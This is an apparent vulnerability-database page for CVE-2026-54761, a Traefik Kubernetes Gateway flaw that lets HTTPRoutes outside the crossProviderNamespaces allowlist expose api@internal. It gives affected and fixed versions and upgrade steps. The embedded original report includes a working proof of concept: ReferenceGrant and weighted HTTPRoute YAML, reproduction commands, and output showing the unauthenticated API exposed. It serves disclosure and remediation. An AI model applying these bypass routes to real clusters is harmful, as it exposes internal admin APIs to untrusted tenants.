CVE-2026-54761: Traefik Kubernetes Gateway CrossProviderNamespaces Bypass Allows Vulnerability
MODERATECVE-2026-54761 is a MODERATE (CVSS 7.1) kubernetes gateway crossprovidernamespaces bypass allows vulnerability (CWE-284: Improper Access Control) affecting Traefik libraries in the Go ecosystem. The issue involves kubernetes gateway crossprovidernamespaces bypass allows httproute outside the allowlist to expose internal traefik services. Remediation is available by upgrading affected packages to version 3.6.21, 3.7.5.
CVE-2026-54761 at a Glance
Security Impact
CVSS: 7.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).
How to Fix CVE-2026-54761
To remediate this vulnerability, upgrade all affected Traefik dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/traefik/traefik/v3 to 3.6.21
Upgrade github.com/traefik/traefik/v2 to Latest secure release
Upgrade github.com/traefik/traefik to Latest secure release
Upgrade github.com/traefik/traefik/v3 to 3.7.5
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/traefik/traefik/v3
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-54761, inspect your project dependencies for Traefik:
inspect dependencies for github.com/traefik/traefik/v3
Analyze the terminal output to locate any version of Traefik in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.6.21), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Traefik, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-54761 Affected Traefik Versions
4 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/traefik/traefik/v3
|
Go |
< 3.6.21
|
3.6.21
|
|
github.com/traefik/traefik/v2
|
Go |
≤ 2.11.50
|
|
|
github.com/traefik/traefik
|
Go |
≤ 1.7.34
|
|
|
github.com/traefik/traefik/v3
|
Go |
≥ 3.7.0-ea.1
< 3.7.5
|
3.7.5
|
References
Frequently Asked Questions
What is CVE-2026-54761?
Which Traefik versions are affected?
What version fixes CVE-2026-54761?
Is github.com/traefik/traefik/v3 affected?
Is github.com/traefik/traefik/v2 affected?
What is the CVSS score of CVE-2026-54761?
What CWE is associated with CVE-2026-54761?
How can I check Go dependencies for CVE-2026-54761?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-3g6v-2r68-prfc",
"modified" : "2026-07-20T21:13:33Z",
"published" : "2026-06-17T14:01:48Z",
"aliases" : [ "CVE-2026-54761" ],
"summary" : "Traefik: Kubernetes Gateway crossProviderNamespaces bypass allows HTTPRoute outside the allowlist to expose internal Traefik services",
"details" : "## Summary\n\nThere is a high severity vulnerability in Traefik's Kubernetes Gateway provider affecting the `crossProviderNamespaces` allowlist. For `HTTPRoute` rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target `backendRef.namespace` instead of the route's own namespace. As a result, an `HTTPRoute` created in a namespace that is not allow-listed can reference a cross-provider `TraefikService` such as `api@internal`, `dashboard@internal` or `rest@internal` by pointing `backendRef.namespace` at an allow-listed namespace covered by a Gateway API `ReferenceGrant`, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted `HTTPRoute` and a matching `ReferenceGrant` from an allow-listed namespace ; it does not require any change to Traefik static configuration, RBAC, or the deployment itself.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.21\n- https://github.com/traefik/traefik/releases/tag/v3.7.5\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n# Summary\n\nThe Kubernetes Gateway provider's `crossProviderNamespaces` option is documented as restricting which Gateway API route namespaces may declare `TraefikService` backendRefs.\n\nFor `HTTPRoute` rules with multiple backendRefs, Traefik checks this allowlist against `backendRef.namespace` instead of the `HTTPRoute` namespace. A route in a namespace that is not allow-listed can therefore add `api@internal` to the generated WRR service by setting `backendRef.namespace` to an allow-listed namespace, as long as a normal Gateway API `ReferenceGrant` permits that cross-namespace reference.\n\nVerified affected versions:\n\n- `v3.7.1` (`fa49e2bcad7ffd8a80accdf1fae1ae480913d93d`)\n- current source/master tested by me (`29406d42898547f1ffabd904f66af06c212740cf`)\n\n# Expected Behavior\n\nWith:\n\n```yaml\nproviders:\n kubernetesGateway:\n crossProviderNamespaces:\n - trusted\n```\n\nonly Gateway API routes whose own namespace is `trusted` should be allowed to declare `TraefikService` backendRefs such as `api@internal`, `dashboard@internal`, or `rest@internal`.\n\nAn `HTTPRoute` in namespace `attacker` should not be able to expose an internal Traefik service by setting:\n\n```yaml\nbackendRefs:\n - group: traefik.io\n kind: TraefikService\n name: api@internal\n namespace: trusted\n```\n\n# Actual Behavior\n\nFor an `HTTPRoute` in namespace `attacker` with two backendRefs, Traefik generates a WRR service containing:\n\n```text\n[api@internal attacker-whoami-http-80]\n```\n\neven though `crossProviderNamespaces` only allows `trusted`.\n\n# Threat Model\n\nThis does not require changing Traefik static configuration or Traefik process state. The relevant boundary is the Kubernetes Gateway provider's `crossProviderNamespaces` policy: namespaces outside the allowlist should not be able to declare cross-provider `TraefikService` backendRefs.\n\nThe precondition is a Gateway API environment where an untrusted or less-trusted namespace can create `HTTPRoute` objects accepted by a Gateway, and a namespace in the `crossProviderNamespaces` allowlist has a matching `ReferenceGrant`. `ReferenceGrant` should satisfy Gateway API cross-namespace reference rules, but it should not override Traefik's separate provider-level namespace allowlist for cross-provider internal services.\n\nA Gateway API `ReferenceGrant` should be treated as necessary but not sufficient for this case. It authorizes the cross-namespace object reference under Gateway API rules, but Traefik's `crossProviderNamespaces` option is an additional Traefik-specific security control for cross-provider `TraefikService` backendRefs, especially `@internal` services. Therefore a `ReferenceGrant` from `trusted` must not make a route in `attacker` equivalent to a route whose own namespace is `trusted`.\n\n# Required Attacker Capability\n\nRequired:\n\n- create or modify an `HTTPRoute` in namespace `attacker`;\n- have that `HTTPRoute` accepted by a `Gateway`;\n- rely on an existing `ReferenceGrant` from an allow-listed namespace, or on a delegated namespace setup where such `ReferenceGrant` objects are managed separately from Traefik's provider configuration.\n\nNot required:\n\n- modifying Traefik static configuration;\n- modifying the Traefik deployment or Traefik RBAC;\n- modifying resources in the Traefik deployment namespace;\n- modifying `providers.kubernetesGateway.crossProviderNamespaces`;\n- enabling `api.insecure`;\n- exposing the dashboard/API entrypoint directly.\n\n# Documentation Evidence\n\nThe documented boundary is the namespace of the Gateway API route/resource that declares the cross-provider reference, not the namespace named in `backendRef.namespace`.\n\nThe Kubernetes Gateway provider option is documented as:\n\n```text\nList of namespaces from which Gateway API routes (HTTPRoute, TCPRoute, TLSRoute) are allowed to declare a backendRef of kind TraefikService.\n```\n\nThe migration notes also describe the security reason for the option:\n\n```text\nthose references ... allow a user to cross namespace boundaries, as well as exposing @internal services, that only the operator should be able to expose.\n```\n\nand the documented behavior is:\n\n```text\n[\"ns-a\"] | Only Kubernetes resources in the listed namespaces can declare cross-provider references.\n```\n\nThe provider struct uses the same route-namespace wording:\n\n```go\nCrossProviderNamespaces []string `description:\"List of namespaces from which Gateway API routes are allowed to declare TraefikService backendRef references.\" ...`\n```\n\nThe reproduced route kind is `HTTPRoute`; no Gateway API experimental-channel resources are required for the PoC.\n\n# PoC\n\nI validated the issue end-to-end in a local `kind` cluster with Traefik `v3.7.1`, real Gateway API CRDs, real Kubernetes `Gateway`, `HTTPRoute`, and `ReferenceGrant` resources, and HTTP requests to Traefik's normal `web` entrypoint.\n\nThe complete local reproducer I used is a self-contained `kind` PoC with these files:\n\n```text\nexternal-repro-kind/kind-config.yaml\nexternal-repro-kind/traefik-v371.yaml\nexternal-repro-kind/gateway-exploit.yaml\nexternal-repro-kind/run-kind-repro.sh\n```\n\nRun command:\n\n```bash\n./external-repro-kind/run-kind-repro.sh\n```\n\nThe script creates a local `kind` cluster, loads local `traefik:v3.7.1` and `traefik/whoami:v1.11.0` images, installs Gateway API CRDs, deploys Traefik and the PoC Gateway resources, sends the control and exploit `curl` requests to `127.0.0.1:18080`, prints route status, and deletes the cluster on exit.\n\nTraefik was started with:\n\n```text\n--api=true\n--api.dashboard=true\n--api.insecure=false\n--providers.kubernetesgateway=true\n--providers.kubernetesgateway.crossprovidernamespaces=trusted\n```\n\nThe local host entrypoint was:\n\n```text\n127.0.0.1:18080 -> kind NodePort -> Traefik web entrypoint\n```\n\nThe target namespace has a normal Gateway API `ReferenceGrant`:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1beta1\nkind: ReferenceGrant\nmetadata:\n name: allow-attacker-to-traefikservice\n namespace: trusted\nspec:\n from:\n - group: gateway.networking.k8s.io\n kind: HTTPRoute\n namespace: attacker\n to:\n - group: traefik.io\n kind: TraefikService\n```\n\nPositive control:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n name: single-backend-control\n namespace: attacker\nspec:\n parentRefs:\n - name: shared-gateway\n namespace: default\n hostnames:\n - control.localhost\n rules:\n - matches:\n - path:\n type: PathPrefix\n value: /api\n backendRefs:\n - group: traefik.io\n kind: TraefikService\n name: api@internal\n namespace: trusted\n port: 80\n weight: 1\n```\n\nBypass:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n name: mixed-backend-bypass\n namespace: attacker\nspec:\n parentRefs:\n - name: shared-gateway\n namespace: default\n hostnames:\n - exploit.localhost\n rules:\n - matches:\n - path:\n type: PathPrefix\n value: /api\n backendRefs:\n - group: traefik.io\n kind: TraefikService\n name: api@internal\n namespace: trusted\n port: 80\n weight: 1000000\n - group: \"\"\n kind: Service\n name: whoami\n port: 80\n weight: 1\n```\n\nObserved external result:\n\n```text\ncontrol: single-backend route from attacker namespace should not expose api@internal\ncontrol status: 404\n404 page not found\n\nexploit: mixed backendRef route from attacker namespace exposes api@internal\nexploit returned Traefik API JSON\napi@internal status: enabled\nweighted members:\napi@internal 1000000\nattacker-whoami-http-80 1\n```\n\nThe `HTTPRoute` status shows the boundary difference:\n\n```text\nsingle-backend-control:\n Accepted=True\n ResolvedRefs=False\n Reason=RefNotPermitted\n Message=Cannot load HTTPRoute BackendRef api@internal: internal service reference is not allowed: HTTPRoute namespace \"attacker\" is not in crossProviderNamespaces\n\nmixed-backend-bypass:\n Accepted=True\n ResolvedRefs=True\n```\n\nThis is the externally visible security failure: the same route namespace and same `api@internal` backendRef are rejected in the single-backend path, but accepted in the mixed/WRR path and exposed on the data plane.\n\n## Minimized Root Cause Test\n\nI also created a provider-level regression test using Traefik's fake Kubernetes/Gateway clients. This does not rely on the Docker lab, dashboard exposure, or helper backends. It is useful as a minimal root-cause test, but the external `kind` PoC above is the primary impact reproduction.\n\nFiles:\n\n- `probe/crossprovider_namespace_probe_test.go`\n- `probe/cross_provider_namespace_probe.yml`\n- `probe/cross_provider_namespace_single_control.yml`\n\nReproduction:\n\n```bash\ncp probe/crossprovider_namespace_probe_test.go pkg/provider/kubernetes/gateway/\ncp probe/cross_provider_namespace_probe.yml pkg/provider/kubernetes/gateway/fixtures/httproute/\ngo test ./pkg/provider/kubernetes/gateway -run TestProbeCrossProviderNamespacesHTTPRouteBackendNamespaceBypass -count=1 -v\n```\n\nObserved output on both tested versions:\n\n```text\nMessages: HTTPRoute namespace attacker must not expose api@internal when only trusted is allow-listed; members=[api@internal attacker-whoami-http-80]\n```\n\nThe reproducer also includes a positive control:\n\n```text\n=== RUN TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl\n--- PASS: TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl\n```\n\nThat control shows the single-backend internal-service code path rejects the setup correctly. The bypass appears when the same forbidden internal backend is placed in a mixed/WRR backendRef list.\n\n# Root Cause\n\nThe single-internal-service path checks the route namespace:\n\n```go\ncase len(routeRule.BackendRefs) == 1 && isInternalService(routeRule.BackendRefs[0].BackendRef):\n if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, route.Namespace) {\n```\n\nThe mixed/multiple backendRef path calls `loadService`. In `loadService`, `namespace` is overwritten from `backendRef.Namespace`, then passed to `loadHTTPBackendRef`:\n\n```go\nnamespace := route.Namespace\nif backendRef.Namespace != nil && *backendRef.Namespace != \"\" {\n namespace = string(*backendRef.Namespace)\n}\n...\nname, service, err := p.loadHTTPBackendRef(namespace, backendRef)\n```\n\n`loadHTTPBackendRef` then checks `crossProviderNamespaces` against this target namespace:\n\n```go\nif *backendRef.Kind == \"TraefikService\" && strings.Contains(string(backendRef.Name), \"@\") {\n if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, namespace) {\n```\n\nThis lets a disallowed route namespace choose an allow-listed target namespace and pass the check.\n\n# Impact\n\nAn untrusted route namespace may expose internal Traefik services through Gateway `HTTPRoute` despite being excluded from `crossProviderNamespaces`.\n\nPotentially exposed internal services include:\n\n- `api@internal`\n- `dashboard@internal`\n- `rest@internal`\n\nThis is a route isolation / internal service exposure / security option bypass. Practical severity depends on whether internal services are enabled and how Gateway `ReferenceGrant` delegation is used, but the observed behavior violates the documented security boundary of `crossProviderNamespaces`.\n\nI also validated the concrete impact of the generated service graph in the local lab. The lab's intended safe baseline has the dashboard/API protected on the dashboard entrypoint:\n\n```text\nHost: dashboard.localhost -> dashboard entrypoint /api/rawdata => 401 Unauthorized\nHost: dashboard.localhost -> web entrypoint /api/rawdata => 404 Not Found\n```\n\nWhen a router on the normal web entrypoint references `api@internal`, the same API endpoint becomes unauthenticated:\n\n```text\nHost: impact-crossprovider.localhost -> web entrypoint /api/rawdata => 200 OK\nservice: api@internal\n```\n\nA WRR service containing `api@internal` also exposes the API:\n\n```text\nHost: impact-crossprovider-wrr.localhost -> web entrypoint /api/rawdata => 200 OK\nweighted services:\napi@internal 1000\necho-svc 1\n```\n\nThis is the security consequence of the provider bug: a namespace that should be blocked by `crossProviderNamespaces` can make Traefik generate a service graph containing `api@internal` on a route it controls.\n\n# Suggested Fix\n\nFor Gateway `HTTPRoute` `TraefikService` cross-provider backendRefs, validate `crossProviderNamespaces` against `route.Namespace` in all code paths, including mixed/WRR backendRefs.\n\n</details>\n\n---",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/traefik/traefik/v3"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.6.21"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.6.20"
}
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/traefik/traefik/v2"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "2.11.50"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/traefik/traefik"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "1.7.34"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/traefik/traefik/v3"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.7.0-ea.1"
}, {
"fixed" : "3.7.5"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.7.4"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/traefik/traefik/security/advisories/GHSA-3g6v-2r68-prfc"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54761"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/traefik/traefik"
}, {
"type" : "WEB",
"url" : "https://github.com/traefik/traefik/releases/tag/v3.6.21"
}, {
"type" : "WEB",
"url" : "https://github.com/traefik/traefik/releases/tag/v3.7.5"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-284", "CWE-863" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-17T14:01:48Z",
"nvd_published_at" : "2026-06-23T20:16:49Z"
}
}